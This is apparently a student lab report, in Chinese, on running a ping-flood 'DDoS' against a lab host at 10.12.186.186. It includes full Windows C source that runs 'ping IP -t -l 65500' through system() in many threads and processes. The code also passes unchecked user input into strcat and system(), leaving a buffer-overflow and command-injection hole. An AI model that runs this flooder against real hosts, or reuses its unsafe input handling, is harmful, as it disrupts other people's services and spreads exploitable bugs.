实验任务
对局域网内IP地址为10.12.186.186
的主机(已关闭防火墙
)发起基于网络流量
的DDoS
攻击。
实验过程
DoS攻击与DDoS攻击
DoS是Denial of Service
的简称,即拒绝服务。造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DOS攻击有计算机网络宽带攻击
和连通性攻击。DoS攻击的目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃
。
分布式拒绝服务攻击(DDoS)可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用。DDoS攻击的思路是与目标主机建立大量的网络连接
,发送大量的网络请求,大量占用其网络资源,使其网络无法提供正常的服务。
ping命令参数
在Windows下使用命令ping /?
查看ping命令参数的含义:
通过该提示可以看出:我们可以使用ping命令的-n参数指定要发送的回显次数(或者使用-t参数使其一直发送),可以使用-l指定发送的缓冲区大小,可以使用-w指定等待每次回复的时间。
实施DDoS攻击
DoS攻击程序需要与目标主机建立大量的网络连接
,发送大量的网络请求,大量占用其网络资源,使目标主机网络无法提供正常的服务。
而ping命令可以使用ping命令的- t
参数使其一直对目标主机发送网络请求,可以使用-l 65500
指定较大的发送缓冲区大小
。
程序需要控制输入一个有效的IP地址,然后利用字符串拼接操作拼接出“ping +IP地址”的命令,通过调用system函数使用ping命令实现攻击
。
为了使得单机的攻击最大化
,需要使用线程编程技术中的CreateThread函数创建多个线程
进行攻击。此外,还需要多开攻击进程
(使攻击进程占所有进程的比例增加,使得攻击进程尽量占用更多的时间片
),使其尽量消耗CPU资源
,使攻击效果最大化。
DDoS攻击程序源代码如下:
#include <stdio.h>
#include <windows.h>
#define MaxSize 50
#define MaxThreadNum 128
HANDLE ThreadHandle[MaxThreadNum]; //线程句柄
DWORD ThreadID[MaxThreadNum]; //线程ID
DWORD WINAPI DDosServer(LPVOID IP_Address)
{
//初始化ping命令
char Command[MaxSize] = "ping \0";
//IP格式转化
char *IP = (char *)IP_Address;
//拼接IP
strcat(Command, IP);
//拼接ping命令参数(方式、缓冲区大小、请求数)
//同时保证可控
strcat(Command, " -t -l 65500\0");
//执行ping命令
//这个命令不会结束,程序无法正常终止
system(Command);
return 0;
}
int main()
{
int ThreadNum = 8;
char IP[16] = {0};
//输入目标主机IP
printf("请输入目标主机IP: ");
scanf("%s", IP);
printf("请输入攻击线程数:");
scanf("%d", &ThreadNum);
for (int i = 0; i < ThreadNum; ++i)
{
ThreadHandle[i] = CreateThread(NULL, 0, DDosServer, &IP, 0, &ThreadID[i]);
if (ThreadHandle != NULL)
printf("攻击线程%d创建成功!\n", i);
else
printf("攻击线程%d创建失败!\n", i);
}
//等待全部线程结束
WaitForMultipleObjects(ThreadNum, ThreadHandle, TRUE, INFINITE);
for (int i = 0; i < ThreadNum; ++i)
{
//关闭线程句柄
//TerminateThread(ThreadHandle[i], 0);
if (CloseHandle(ThreadHandle[i]) == true)
printf("攻击线程%d结束成功!\n", i);
}
return 0;
}
启动攻击程序,输入IP地址10.12.186.186,开始DDoS攻击。
在刚刚发动DDOS攻击时
,攻击方能正常收到目标机器的回复报文
:
在多台机器上使用多个进程和多个线程
进行DDoS攻击时,观察到部分回复报文丢失
:
此时,在目标主机上观察到:DDoS攻击虽然未能使目标主机瘫痪
,但是大量占用了目标主机的网络资源
,可能使其网络无法提供正常的服务
,DDoS攻击成功有效。